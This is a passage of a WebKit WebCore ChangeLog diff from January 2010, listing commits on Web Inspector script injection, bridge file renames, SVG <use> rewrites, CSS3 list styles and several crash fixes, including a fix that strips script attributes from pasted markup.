+        (WebCore::InspectorController::close):
+        (WebCore::InspectorController::resetScriptObjects):
+        (WebCore::InspectorController::didPause):
+        (WebCore::InspectorController::wrapObject):
+        (WebCore::InspectorController::unwrapObject):
+        (WebCore::InspectorController::releaseWrapperObjectGroup):
+        (WebCore::InspectorController::resetInjectedScript):
+        * inspector/InspectorController.h:
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::addConsoleMessage):
+        (WebCore::InspectorFrontend::pausedScript):
+        * inspector/InspectorFrontend.h:
+        * inspector/front-end/AuditsPanel.js:
+        (WebInspector.AuditsPanel.prototype._reloadResources):
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype.requestClearMessages):
+        (WebInspector.ConsoleView.prototype.completions):
+        (WebInspector.ConsoleView.prototype.doEvalInWindow):
+        (WebInspector.ConsoleView.prototype._formatnode):
+        (WebInspector.ConsoleView.prototype._formatarray):
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.DOMNode):
+        (WebInspector.CSSStyleDeclaration):
+        (WebInspector.CSSStyleDeclaration.parseRule):
+        * inspector/front-end/Database.js:
+        (WebInspector.Database.prototype.executeSql):
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.this.treeOutline.focusedNodeChanged):
+        (WebInspector.ElementsPanel.prototype.setDocument):
+        (WebInspector.ElementsPanel.prototype.searchCanceled):
+        (WebInspector.ElementsPanel.prototype.performSearch):
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeElement.prototype.createTooltipForImageNode):
+        * inspector/front-end/EventListenersSidebarPane.js:
+        ():
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.dispatch):
+        (InjectedScript.toggleStyleEnabled):
+        (InjectedScript._serializeRule):
+        (InjectedScript._serializeStyle):
+        (InjectedScript.getProperties):
+        (InjectedScript.setPropertyValue):
+        (InjectedScript._evaluateAndWrap):
+        (InjectedScript.getCallFrames):
+        (InjectedScript._inspectObject):
+        (InjectedScript._ensureCommandLineAPIInstalled):
+        (InjectedScript._resolveObject):
+        (InjectedScript._window):
+        (InjectedScript._objectForId):
+        (InjectedScript.createProxyObject):
+        (InjectedScript.executeSql):
+        (InjectedScript.executeSql.errorCallback):
+        (InjectedScript.executeSql.queryTransaction):
+        (Object.type):
+        (String.prototype.escapeCharacters):
+        * inspector/front-end/InjectedScriptAccess.js:
+        (InjectedScriptAccess._installHandler.InjectedScriptAccess.methodName):
+        (InjectedScriptAccess._installHandler):
+        * inspector/front-end/MetricsSidebarPane.js:
+        (WebInspector.MetricsSidebarPane):
+        (WebInspector.MetricsSidebarPane.prototype.update.inlineStyleCallback):
+        (WebInspector.MetricsSidebarPane.prototype.update):
+        (WebInspector.MetricsSidebarPane.prototype.editingCommitted):
+        * inspector/front-end/ObjectPropertiesSection.js:
+        (WebInspector.ObjectPropertiesSection.prototype.update):
+        (WebInspector.ObjectPropertyTreeElement.prototype.onpopulate):
+        (WebInspector.ObjectPropertyTreeElement.prototype.applyExpression):
+        * inspector/front-end/ObjectProxy.js:
+        (WebInspector.ObjectProxy):
+        (WebInspector.ObjectProxy.getPropertiesAsync):
+        * inspector/front-end/PropertiesSidebarPane.js:
+        (WebInspector.PropertiesSidebarPane.prototype.update.callback):
+        (WebInspector.PropertiesSidebarPane.prototype.update):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourceSidebarTreeElement.prototype.ondblclick):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel.prototype.doEvalInCallFrame):
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylesSidebarPane.prototype.update):
+        (WebInspector.StylePropertiesSection.prototype.editingSelectorCommitted):
+        (WebInspector.BlankStylePropertiesSection.prototype.editingSelectorCommitted):
+        (WebInspector.StylePropertyTreeElement.prototype):
+        * inspector/front-end/WatchExpressionsSidebarPane.js:
+        (WebInspector.WatchExpressionsSection.prototype.update):
+        * inspector/front-end/inspector.js:
+        (WebInspector.loaded):
+        (WebInspector.pausedScript):
+        (WebInspector.addConsoleMessage):
+        (WebInspector.log.logMessage):
+        (WebInspector.log):
+
+2010-01-19  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Inject inspector script directly into the inspected context. All the
+        communication between the script and the frontend is serialized into
+        JSON strings. It allows to get rid of object quarantines in Web Inspector.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32554
+
+        * bindings/js/JSInjectedScriptHostCustom.cpp:
+        (WebCore::JSInjectedScriptHost::databaseForId):
+        (WebCore::JSInjectedScriptHost::currentCallFrame):
+        (WebCore::JSInjectedScriptHost::nodeForId):
+        (WebCore::JSInjectedScriptHost::pushNodePathToFrontend):
+        (WebCore::JSInjectedScriptHost::selectDatabase):
+        (WebCore::JSInjectedScriptHost::selectDOMStorage):
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::mainWorldScriptState):
+        * bindings/js/ScriptController.h:
+        * bindings/js/ScriptObject.h:
+        (WebCore::ScriptObject::scriptState):
+        * bindings/js/ScriptValue.cpp:
+        * bindings/js/ScriptValue.h:
+        * bindings/v8/ScriptObject.h:
+        (WebCore::ScriptObject::scriptState):
+        * bindings/v8/ScriptValue.h:
+        * bindings/v8/custom/V8InjectedScriptHostCustom.cpp:
+        * inspector/ConsoleMessage.cpp:
+        (WebCore::ConsoleMessage::ConsoleMessage):
+        (WebCore::ConsoleMessage::addToConsole):
+        (WebCore::ConsoleMessage::isEqual):
+        * inspector/ConsoleMessage.h:
+        * inspector/InjectedScriptHost.cpp:
+        (WebCore::InjectedScriptHost::releaseWrapperObjectGroup):
+        * inspector/InjectedScriptHost.h:
+        * inspector/InjectedScriptHost.idl:
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::setInjectedScriptSource):
+        (WebCore::InspectorBackend::dispatchOnInjectedScript):
+        (WebCore::InspectorBackend::releaseWrapperObjectGroup):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::InspectorController):
+        (WebCore::InspectorController::clearConsoleMessages):
+        (WebCore::InspectorController::inspectedWindowScriptObjectCleared):
+        (WebCore::InspectorController::windowScriptObjectAvailable):
+        (WebCore::InspectorController::scriptObjectReady):
+        (WebCore::InspectorController::setFrontendProxyObject):
+        (WebCore::InspectorController::close):
+        (WebCore::InspectorController::resetScriptObjects):
+        (WebCore::InspectorController::didPause):
+        (WebCore::InspectorController::injectedScriptForNodeId):
+        * inspector/InspectorController.h:
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::addConsoleMessage):
+        (WebCore::InspectorFrontend::pausedScript):
+        * inspector/InspectorFrontend.h:
+        * inspector/front-end/AuditsPanel.js:
+        (WebInspector.AuditsPanel.prototype._reloadResources):
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype.requestClearMessages):
+        (WebInspector.ConsoleView.prototype.doEvalInWindow):
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.DOMNode):
+        (WebInspector.CSSStyleDeclaration):
+        (WebInspector.CSSStyleDeclaration.parseRule):
+        * inspector/front-end/Database.js:
+        (WebInspector.Database.prototype.executeSql):
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.this.treeOutline.focusedNodeChanged.InjectedScriptAccess.get addInspectedNode):
+        (WebInspector.ElementsPanel.this.treeOutline.focusedNodeChanged):
+        (WebInspector.ElementsPanel.prototype.setDocument):
+        (WebInspector.ElementsPanel.prototype.searchCanceled):
+        (WebInspector.ElementsPanel.prototype.performSearch):
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeElement.prototype.createTooltipForImageNode):
+        * inspector/front-end/EventListenersSidebarPane.js:
+        ():
+        * inspector/front-end/InjectedScript.js:
+        (injectedScriptConstructor):
+        (injectedScriptConstructor.):
+        * inspector/front-end/InjectedScriptAccess.js:
+        (InjectedScriptAccess):
+        (InjectedScriptAccess.getDefault):
+        (get InjectedScriptAccess):
+        (InjectedScriptAccess._installHandler.InjectedScriptAccess.prototype.methodName):
+        (InjectedScriptAccess._installHandler):
+        * inspector/front-end/MetricsSidebarPane.js:
+        (WebInspector.MetricsSidebarPane):
+        (WebInspector.MetricsSidebarPane.prototype.update.inlineStyleCallback):
+        * inspector/front-end/ObjectPropertiesSection.js:
+        * inspector/front-end/ObjectProxy.js:
+        (WebInspector.ObjectProxy):
+        * inspector/front-end/PropertiesSidebarPane.js:
+        (WebInspector.PropertiesSidebarPane.prototype.update.callback):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourceSidebarTreeElement.prototype.ondblclick):
+        * inspector/front-end/ScriptsPanel.js:
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylePropertyTreeElement.prototype):
+        * inspector/front-end/WatchExpressionsSidebarPane.js:
+        (WebInspector.WatchExpressionsSection.prototype.update):
+        * inspector/front-end/inspector.js:
+        (WebInspector.loaded):
+        (WebInspector.pausedScript):
+        (WebInspector.addConsoleMessage):
+        (WebInspector.log.logMessage):
+        (WebInspector.log):
+
+2010-01-19  Steve Block  <steveblock@google.com>
+
+        Unreviewed build fix.
+
+        Fixes Windows build due to http://trac.webkit.org/changeset/53464
+        Updates WebCore.vcproj to reflect renaming of runtime.[cpp|h] to Bridge.[cpp|h]
+
+        No new tests, build fix only.
+
+        * WebCore.vcproj/WebCore.vcproj:
+
+2010-01-19  Steve Block  <steveblock@google.com>
+
+        Reviewed by Adam Barth.
+
+        Renames WebCore/bridge/runtime.[cpp|h] to WebCore/bridge/Bridge.[cpp|h]
+        https://bugs.webkit.org/show_bug.cgi?id=33801
+
+        runtime.[cpp|h] contains general interface classes for use in the bridge,
+        so Bridge is a more appropriate name than runtime.
+
+        No new tests, renaming only.
+
+        * Android.jscbindings.mk:
+        * GNUmakefile.am:
+        * WebCore.pro:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * bindings/js/JSPluginElementFunctions.cpp:
+        * bindings/js/ScriptControllerGtk.cpp:
+        * bindings/js/ScriptControllerHaiku.cpp:
+        * bindings/js/ScriptControllerMac.mm:
+        * bindings/js/ScriptControllerQt.cpp:
+        * bindings/js/ScriptControllerWin.cpp:
+        * bindings/js/ScriptControllerWx.cpp:
+        * bindings/js/ScriptInstance.h:
+        * bindings/objc/WebScriptObject.mm:
+        * bridge/Bridge.cpp: Copied from WebCore/bridge/runtime.cpp.
+        * bridge/Bridge.h: Copied from WebCore/bridge/runtime.h.
+        * bridge/c/c_class.h:
+        * bridge/c/c_instance.h:
+        * bridge/c/c_runtime.h:
+        * bridge/jni/jni_instance.h:
+        * bridge/objc/objc_runtime.h:
+        * bridge/qt/qt_class.h:
+        * bridge/qt/qt_instance.h:
+        * bridge/qt/qt_runtime.cpp:
+        * bridge/qt/qt_runtime.h:
+        * bridge/runtime.cpp: Removed.
+        * bridge/runtime.h: Removed.
+        * bridge/runtime_array.h:
+        * bridge/runtime_method.h:
+        * bridge/runtime_object.h:
+        * bridge/runtime_root.cpp:
+        * bridge/testbindings.cpp:
+        * bridge/testbindings.mm:
+        * bridge/testqtbindings.cpp:
+        * page/win/FrameWin.cpp:
+        * platform/graphics/wince/MediaPlayerProxy.cpp:
+        * plugins/PluginView.cpp:
+        * plugins/gtk/PluginViewGtk.cpp:
+        * plugins/mac/PluginViewMac.cpp:
+        * plugins/qt/PluginViewQt.cpp:
+        * plugins/symbian/PluginViewSymbian.cpp:
+        * plugins/win/PluginViewWin.cpp:
+
+2010-01-19  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        REGRESSION (52082): Crash on worker thread when reloading http://radnan.public.iastate.edu/procedural/
+        https://bugs.webkit.org/show_bug.cgi?id=33826
+
+        Test: fast/workers/worker-gc2.html
+
+        * bindings/js/WorkerScriptController.cpp:
+        (WebCore::WorkerScriptController::~WorkerScriptController): Removed some
+        ASSERTs that have moved to JavaScriptCore.
+
+2010-01-19  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (build fix).
+
+        Reverting r53455, breaks 2 javascriptcore tests.
+
+        * bindings/js/WorkerScriptController.cpp:
+        (WebCore::WorkerScriptController::~WorkerScriptController):
+
+2010-01-18  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        REGRESSION (52082): Crash on worker thread when reloading http://radnan.public.iastate.edu/procedural/
+        https://bugs.webkit.org/show_bug.cgi?id=33826
+
+        Test: fast/workers/worker-gc2.html
+
+        * bindings/js/WorkerScriptController.cpp:
+        (WebCore::WorkerScriptController::~WorkerScriptController): Removed some
+        ASSERTs that have moved to JavaScriptCore.
+
+2010-01-18  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33089
+
+        Implements all of the alphabetic CSS3 list-style-types as per
+        section 4.4 of the CSS3 Lists module <http://www.w3.org/TR/css3-lists/#alphabetic>.
+
+        Test: fast/lists/w3-css3-list-styles-alphabetic.html
+
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseValue): Updated comment to include
+        added list-style-types.
+        * css/CSSPrimitiveValueMappings.h:
+        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue): Added new list style types,
+        alphabetized enums, and removed indent to conform to the WebKit Code Style Guidelines.
+        * css/CSSValueKeywords.in:
+        * inspector/front-end/CSSSourceSyntaxHighlighter.js:
+        (WebInspector.CSSSourceSyntaxHighlighter): Added new list style types
+        and alphabetized array valueKeywords.
+        * platform/text/CharacterNames.h: Added constant ethiopicPrefaceColon.
+        * rendering/RenderListMarker.cpp:
+        (WebCore::toAlphabetic):
+        (WebCore::listMarkerSuffix): Added.
+        (WebCore::listMarkerText):
+        (WebCore::RenderListMarker::paint): Modified to call WebCore::listMarkerSuffix.
+        (WebCore::RenderListMarker::calcPrefWidths): Ditto.
+        (WebCore::RenderListMarker::getRelativeMarkerRect): Ditto.
+        * rendering/style/RenderStyle.h:
+        (WebCore::):
+        * rendering/style/RenderStyleConstants.h:
+        (WebCore::):
+
+2010-01-18  Daniel Bates  <dbates@webkit.org>
+
+        Unreviewed, fix misspelling of the word maximum in comment.
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::maximum):
+
+2010-01-18  Dan Bernstein  <mitz@apple.com>
+
+        Rubber-stamped by Sam Weinig.
+
+        <rdar://problem/7476957> REGRESSION (r49567): Business widget list does not line up: too tall due to line height rounding change
+
+        Reverted r49567.
+
+        * css/CSSComputedStyleDeclaration.cpp:
+        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
+        * rendering/InlineFlowBox.cpp:
+        (WebCore::InlineFlowBox::computeLogicalBoxHeights):
+        * rendering/RenderBR.cpp:
+        (WebCore::RenderBR::lineHeight):
+        * rendering/style/RenderStyle.h:
+        (WebCore::InheritedFlags::computedLineHeight):
+
+2010-01-18  Steve Block  <steveblock@google.com>
+
+        Reviewed by Adam Barth.
+
+        Moves JSC-specific implementation of JavaString to a private implementation class.
+        https://bugs.webkit.org/show_bug.cgi?id=33558
+
+        Also modifies JavaField::name and JavaMethod::name to return const JavaString&, rather than UString::Rep*,
+        which is JSC-specific. This allows this code to be used with both JSC and V8, as required by Android.
+
+        No new tests, refactoring only.
+
+        * WebCore.xcodeproj/project.pbxproj: Modified. Added JavaStringJSC.h
+        * bridge/jni/jni_class.cpp: Modified.
+        (JavaClass::JavaClass): Modified. Updates call sites of JavaField::name and JavaMethod::name.
+        * bridge/jni/jni_runtime.h: Modified.
+        (JSC::Bindings::JavaString::JavaString): Modified. Pass through to implementation.
+        (JSC::Bindings::JavaString::UTF8String): Modified. Pass through to implementation.
+        (JSC::Bindings::JavaString::uchars): Modified. Pass through to implementation.
+        (JSC::Bindings::JavaString::length): Modified. Pass through to implementation.
+        (JSC::Bindings::JavaString::operator UString): Modified. Pass through to implementation.
+        (JSC::Bindings::JavaField::name): Modified. Pass through to implementation.
+        (JSC::Bindings::JavaMethod::name): Modified. Pass through to implementation.
+        * bridge/jni/jsc/JavaStringJSC.h: Added.
+        (JSC::Bindings::JavaStringImpl::~JavaStringImpl):
+        (JSC::Bindings::JavaStringImpl::init):
+        (JSC::Bindings::JavaStringImpl::UTF8String):
+        (JSC::Bindings::JavaStringImpl::uchars):
+        (JSC::Bindings::JavaStringImpl::length):
+        (JSC::Bindings::JavaStringImpl::uString):
+
+2010-01-18  Yuzo Fujishima  <yuzo@google.com>
+
+        Reviewed by Darin Adler.
+
+        Skip an error after invalid blocks in a CSS expression.
+        https://bugs.webkit.org/show_bug.cgi?id=33650
+
+        * css/CSSGrammar.y:
+
+2010-01-15  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Darin Adler & Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33731
+        Remove uses of PtrAndFlags from WebCore::StringImpl.
+
+        These break the OS X Leaks tool.  Move the management of null-terminated copies
+        out from StringImpl to String, and use a bit stolen from the refCount to hold the
+        'InTable' flag.
+
+        * platform/sql/SQLiteFileSystem.cpp:
+        (WebCore::SQLiteFileSystem::openDatabase):
+        * platform/sql/SQLiteStatement.cpp:
+        (WebCore::SQLiteStatement::prepare):
+        * platform/sql/SQLiteStatement.h:
+        * platform/text/PlatformString.h:
+        * platform/text/String.cpp:
+        (WebCore::String::copyWithNullTermination):
+        * platform/text/StringImpl.cpp:
+        (WebCore::StringImpl::StringImpl):
+        (WebCore::StringImpl::~StringImpl):
+        (WebCore::StringImpl::create):
+        (WebCore::StringImpl::crossThreadString):
+        (WebCore::StringImpl::sharedBuffer):
+        * platform/text/StringImpl.h:
+        (WebCore::StringImpl::inTable):
+        (WebCore::StringImpl::setInTable):
+
+2010-01-18  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Dirk Schulze.
+
+        Rewrite SVG <use> support in a modern-fashion
+        https://bugs.webkit.org/show_bug.cgi?id=33776
+
+        Tests: svg/custom/relative-sized-deep-shadow-tree-content.xhtml
+               svg/custom/relative-sized-shadow-tree-content.xhtml
+
+        Fixes: svg/W3C-SVG-1.1/animate-elem-30-t.svg (animated circle sometimes takes wrong path)
+
+        Rewrite <use> support in less intrusive way. Try hard to avoid recloning where possible, and do it lazily.
+        Introduce RenderSVGShadowTreeRootContainer as special renderer for SVGUseElement, that now manages the
+        render tree, instead of SVGUseElement manually hacking around it's own renderer from the DOM side.
+
+        Instead of recloning the whole shadow tree for every attribute change (DOM setAttribute / SVG DOM changes / CSS changes / childrenChanged()...)
+        just notify the RenderSVGShadowTreeRootContainer that it's supposed to reclone the tree upon the next updateFromElement() call.
+
+        updateFromElement() is fired from SVGUseElement::attach() / recalcStyle(), as it's done for HTMLFormControlElement/HTMLMediaElement, thus
+        lazily recloning the shadow tree if necessary.
+
+        Animations for <use> elements was a real performance bottlenck as the tree got recloned on every attribute change. Reclones are _completly_
+        avoided for animations now - the SVGAnim*Element classes already updated the instances of an element manually, though that resulted in a reclone
+        nontheless, and thus killing performance. <use> elements can only be recloned through mutations of the elements that they reference to.
+        For example referencing a <rect> element from a <use> element and scripting the <rect> element (setAttribute, or child tree mutations etc.).
+        We reclone instead of trying to synchronize trees - as it's currenty implemented - because it's very hard to do it right.
+
+        Any DOM / SVG DOM / CSS change on the <use> element don't reclone the tree anymore, this is a huge speed benefit.
+        x/y attribute changes are correctly handled in the render tree now (by an additional local transformation), now percentual values work
+        as expected, and resize on window changes - affecting lots of testcases.
+
+        The <use> implementation is much safer now, not doing any mutations synchronously from svgAttributeChanged etc.
+        Remove hack to force garbage collection on SVGElementInstance destruction - can't reproduce it anymore.
+
+        * Android.mk: Add new files to build.
+        * GNUmakefile.am: Ditto.
+        * WebCore.gypi: Ditto.
+        * WebCore.pro: Ditto.
+        * WebCore.vcproj/WebCore.vcproj: Ditto.
+        * WebCore.xcodeproj/project.pbxproj: Ditto.
+        * rendering/RenderSVGShadowTreeRootContainer.cpp: Added. This is the rendered now created by SVGUseElement.
+        (WebCore::RenderSVGShadowTreeRootContainer::RenderSVGShadowTreeRootContainer):
+        (WebCore::RenderSVGShadowTreeRootContainer::~RenderSVGShadowTreeRootContainer):
+        (WebCore::RenderSVGShadowTreeRootContainer::updateStyle): Used form SVGUseElement to request style recalculations for the shadow tree renderers
+        (WebCore::RenderSVGShadowTreeRootContainer::updateFromElement): Used from SVGUseElement attach/recalcStyle to eventually request shadow tree updates.
+        (WebCore::RenderSVGShadowTreeRootContainer::styleDidChange): Used to propage style updates across shadow tree boundaries.
+        * rendering/RenderSVGShadowTreeRootContainer.h: Added.
+        (WebCore::RenderSVGShadowTreeRootContainer::markShadowTreeForRecreation): Marks the shadow tree for a reclone, next time updateFromElement is used.
+        * rendering/RenderSVGTransformableContainer.cpp:
+        (WebCore::RenderSVGTransformableContainer::calculateLocalTransform): Take containerTranslation() into account, supplied by RenderSVGSDhadowTreeContainer.
+        * rendering/SVGShadowTreeElements.cpp: Added. This is the root element of the SVG shadow tree residing as (hidden) child of SVGUseElement (DOM wise).
+        (WebCore::SVGShadowTreeContainerElement::SVGShadowTreeContainerElement):
+        (WebCore::SVGShadowTreeContainerElement::~SVGShadowTreeContainerElement):
+        (WebCore::SVGShadowTreeContainerElement::containerTranslation): Used from calculateLocalTransform() to take x/y translation into account for shadow tree container elements.
+        (WebCore::SVGShadowTreeRootElement::SVGShadowTreeRootElement):
+        (WebCore::SVGShadowTreeRootElement::~SVGShadowTreeRootElement):
+        (WebCore::SVGShadowTreeRootElement::attachElement): Used by RenderSVGShadowTreeRootContainer, instead of attach(), as we're a shadow tree root node.
+        * rendering/SVGShadowTreeElements.h: Added. This is the root element of each SVG shadow sub-tree (whenever a <use> element is expanded in the shadow tree).
+        (WebCore::SVGShadowTreeContainerElement::isShadowTreeContainerElement): Return true here.
+        (WebCore::SVGShadowTreeContainerElement::setContainerOffset): Used from SVGUseElement to propagate x/y translation values set on <use> elements in the shadow tree.
+        (WebCore::SVGShadowTreeRootElement::isShadowNode): Identify us as shadow node.
+        (WebCore::SVGShadowTreeRootElement::shadowParentNode): Ditto. Return actual shadow parent node (== corresponding use element).
+        * svg/SVGElement.cpp: Shrink size of all SVG*Elements, by removing the m_shadowParent parent. SVGShadowTreeRootElement is the new base class for shadow tree.
+        (WebCore::SVGElement::SVGElement):
+        (WebCore::SVGElement::eventParentNode): Call virtual shadowParentNode() method, instead of accessing m_shadowParent.
+        * svg/SVGElement.h: Remove isShadowNode() / shadowParentNode() / setShadowParentNode().
+        * svg/SVGElementInstance.cpp: Remove the hack, calling garbage collection before destruction. Can't reproduce this anymore, let's see what the bots say.
+        (WebCore::SVGElementInstance::SVGElementInstance): Remove now unnecessary m_needsUpdate flag.
+        (WebCore::SVGElementInstance::invalidateAllInstancesOfElement): Don't invalidate if instance updates are blocked (see SVGStyledElement changes)
+        * svg/SVGElementInstance.h: Remove m_needsUpdate, and forgetWrapper() method.
+        * svg/SVGGElement.h:
+        (WebCore::SVGGElement::isShadowTreeContainerElement): Add new virtual method here returning false by default, SVGShadowTreeContainerElement will override it.
+        * svg/SVGStyledElement.cpp: Remove gElementsWithInstanceUpdatesBlocked HashSet tracking the state of instancesUpdatesBlocked() per SVGStyledElement - make it a member variable.
+        * svg/SVGStyledElement.h: Add inline getter/setters around m_instanceUpdatesBlocked.
+        (WebCore::SVGStyledElement::instanceUpdatesBlocked):
+        (WebCore::SVGStyledElement::setInstanceUpdatesBlocked):
+        * svg/SVGUseElement.cpp: Full rewrite of <use> support, a detailed discussion would blow the ChangeLog - see short version above.
+        (WebCore::SVGUseElement::SVGUseElement):
+        (WebCore::SVGUseElement::instanceRoot):
+        (WebCore::SVGUseElement::insertedIntoDocument):
+        (WebCore::SVGUseElement::removedFromDocument):
+        (WebCore::SVGUseElement::svgAttributeChanged):
+        (WebCore::updateContainerOffset):
+        (WebCore::SVGUseElement::updateContainerOffsets):
+        (WebCore::SVGUseElement::recalcStyle):
+        (WebCore::dumpInstanceTree):
+        (WebCore::SVGUseElement::buildPendingResource):
+        (WebCore::SVGUseElement::buildShadowAndInstanceTree):
+        (WebCore::SVGUseElement::createRenderer):
+        (WebCore::updateFromElementCallback):
+        (WebCore::SVGUseElement::attach):
+        (WebCore::SVGUseElement::detach):
+        (WebCore::SVGUseElement::toClipPath):
+        (WebCore::SVGUseElement::buildInstanceTree):
+        (WebCore::SVGUseElement::handleDeepUseReferencing):
+        (WebCore::SVGUseElement::buildShadowTree):
+        (WebCore::SVGUseElement::expandUseElementsInShadowTree):
+        (WebCore::SVGUseElement::expandSymbolElementsInShadowTree):
+        (WebCore::SVGUseElement::instanceForShadowTreeElement):
+        (WebCore::SVGUseElement::invalidateShadowTree):
+        (WebCore::SVGUseElement::transferUseAttributesToReplacedElement):
+        * svg/SVGUseElement.h:
+        (WebCore::SVGUseElement::isPendingResource):
+
+2010-01-18  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        HTMLInputElement::valueAsDate setter support for type=month.
+        https://bugs.webkit.org/show_bug.cgi?id=33021
+
+        Introduce ISODateTime::setMillisecondsSinceEpochForMonth() and
+        toString() for the Month type, and HTMLInputElement::setValueAsDate()
+        calls them.
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::setValueAsDate):
+        * html/ISODateTime.cpp:
+        (WebCore::beforeGregorianStartDate):
+        (WebCore::ISODateTime::addDay): Use beforeGregorianStartDate().
+        (WebCore::ISODateTime::parseMonth): Use beforeGregorianStartDate().
+        (WebCore::ISODateTime::setMillisecondsSinceEpochForDateInternal):
+        (WebCore::ISODateTime::setMillisecondsSinceEpochForMonth):
+        (WebCore::ISODateTime::toString): Implement only for the Month type.
+        * html/ISODateTime.h:
+
+2010-01-18  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Script attributes are copied and pasted, making cross-domain attacks possible (30019)
+        <rdar://problem/6008809>
+        https://bugs.webkit.org/show_bug.cgi?id=30019
+
+        When we create the document fragment from a markup string,
+        either to perform a paste operation or a drag and drop, we
+        want to remove all the event handlers and any attribute that contain
+        a value that leads to code execution.
+        The HTMLParser class is now aware of the needs of stripping these attributes.
+        I've modified the call to createMarkupString for every platform.
+
+        Test: editing/pasteboard/paste-noscript.html
+
+        * WebCore.base.exp:
+        * dom/Element.cpp:
+        (WebCore::isEventHandlerAttribute):
+        (WebCore::Element::setAttributeMap):
+        * dom/Element.h:
+        * dom/MappedAttributeEntry.h:
+        (WebCore::):
+        * editing/markup.cpp:
+        (WebCore::createFragmentFromMarkup):
+        * editing/markup.h:
+        * html/HTMLElement.cpp:
+        (WebCore::HTMLElement::createContextualFragment):
+        * html/HTMLElement.h:
+        * html/HTMLParser.cpp:
+        (WebCore::HTMLParser::HTMLParser):
+        (WebCore::HTMLParser::parseToken):
+        * html/HTMLParser.h:
+        * html/HTMLTokenizer.cpp:
+        (WebCore::HTMLTokenizer::HTMLTokenizer):
+        (WebCore::parseHTMLDocumentFragment):
+        * html/HTMLTokenizer.h:
+        * platform/chromium/DragDataChromium.cpp:
+        (WebCore::DragData::asFragment):
+        * platform/chromium/PasteboardChromium.cpp:
+        (WebCore::Pasteboard::documentFragment):
+        * platform/gtk/PasteboardGtk.cpp:
+        (WebCore::Pasteboard::documentFragment):
+        * platform/mac/PasteboardMac.mm:
+        (WebCore::Pasteboard::documentFragment):
+        * platform/qt/DragDataQt.cpp:
+        (WebCore::DragData::asFragment):
+        * platform/qt/PasteboardQt.cpp:
+        (WebCore::Pasteboard::documentFragment):
+        * platform/win/ClipboardUtilitiesWin.cpp:
+        (WebCore::fragmentFromCF_HTML):
+        (WebCore::fragmentFromHTML):
+
+2010-01-18  Steve Falkenburg  <sfalken@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        <https://bugs.webkit.org/show_bug.cgi?id=33816>        
+        Crashes in Geolocation code due to refcounting, observer balance issues.
+        
+        Hold a ref to the GeoNotifier while dispatching a callback. The code was
+        copying a data member to avoid accessing a freed this ptr, but was still
+        using the this ptr.
+        
+        Geolocation::removeObserver calls are not always balanced with addObserver.
+        Instead of asserting and continuing, don't try to remove non-existant
+        observers.
+
+        * page/Geolocation.cpp:
+        (WebCore::Geolocation::GeoNotifier::timerFired): Protect notifier.
+        * page/GeolocationController.cpp:
+        (WebCore::GeolocationController::removeObserver): Change ASSERT into an if with early return.
+
+2010-01-18  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33815
+        Crash when using DOMTimer from a detached frame
+
+        Test: fast/dom/Window/timer-null-script-execution-context.html
+
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::setTimeout):
+        (WebCore::JSDOMWindow::setInterval):
+        * page/DOMWindow.h:
+        * page/DOMWindow.idl:
+        Make setTimer and setInterval raise an exception. It is not specified in HTML5, but both
+        IE and Firefox do raise an exception in this situation, although different ones.
+
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::setTimeout): Raise INVALID_ACCESS_ERR if script execution context is
+        null (meaning that the window is detached).
+        (WebCore::DOMWindow::setInterval): Ditto.
+        (WebCore::DOMWindow::clearTimeout): Silently return early if there is no script execution
+        context.
+        (WebCore::DOMWindow::clearInterval): Ditto.
+        Raise INVALID_ACCESS_ERR if script execution context is null (meaning .
+
+2010-01-18  Steve Block  <steveblock@google.com>
+
+        Reviewed by Adam Barth.
+
+        Moves JSC-specific version of JavaClass from bridge/jni/jni_class to bridge/jni/jsc/JavaClassJSC
